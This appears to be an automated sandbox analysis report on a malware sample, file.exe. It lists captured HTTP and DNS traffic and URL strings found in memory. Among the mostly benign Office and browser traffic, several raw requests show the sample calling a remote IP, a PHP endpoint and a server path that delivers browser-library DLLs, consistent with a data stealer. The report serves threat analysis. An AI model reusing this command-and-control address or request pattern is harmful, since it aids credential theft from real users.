Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log4.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log4.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log4.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: r.msftstatic.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 904sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, file.exe, 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2629516895.0000000000ED6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php$
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/%
Source: file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpI
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJ
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpN
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpV
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpZ
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpata
Source: file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpb
Source: file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpj
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phptop
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php~
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll/
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll=
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll3
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllllS
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllllw
Source: file.exe, 00000000.00000002.2631399968.00000000019E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll$
Source: file.exe, 00000000.00000002.2629516895.0000000000F04000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll%
Source: file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2631399968.0000000001A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllF
Source: file.exe, 00000000.00000002.2631399968.00000000019F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/8
Source: file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206BFB
Source: file.exe, 00000000.00000002.2631399968.000000000199E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206W
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_454.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2657127354.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2646113086.000000001DF9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, DAECGCGH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_458.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_458.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_454.5.dr, chromecache_458.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: b8a19936-7d52-4cf6-9167-833bcbdbf787.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, DAECGCGH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 2f52c1d0-5993-4878-b2ba-9e712f628bcc.tmp.10.dr, 313ab870-34f1-4a35-9f6c-40041a7556da.tmp.10.dr, b8a19936-7d52-4cf6-9167-833bcbdbf787.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 2f52c1d0-5993-4878-b2ba-9e712f628bcc.tmp.10.dr, 313ab870-34f1-4a35-9f6c-40041a7556da.tmp.10.dr, b8a19936-7d52-4cf6-9167-833bcbdbf787.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_458.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_458.5.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2648730761.0000000023FCF000.00000004.00000020.00020000.00000000.sdmp, CFBFHIEBKJKFHIEBFBAE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: file.exe, file.exe, 00000000.00000002.2629516895.0000000000E1C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2171006516.000000000585B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2657968965.000000006CCC1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_458.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2380801259.0000000001A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2484704780.0000000023F7A000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, DAECGCGH.0.dr, HCAEGCBF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 2f52c1d0-5993-4878-b2ba-9e712f628bcc.tmp.10.dr, b8a19936-7d52-4cf6-9167-833bcbdbf787.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log5.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
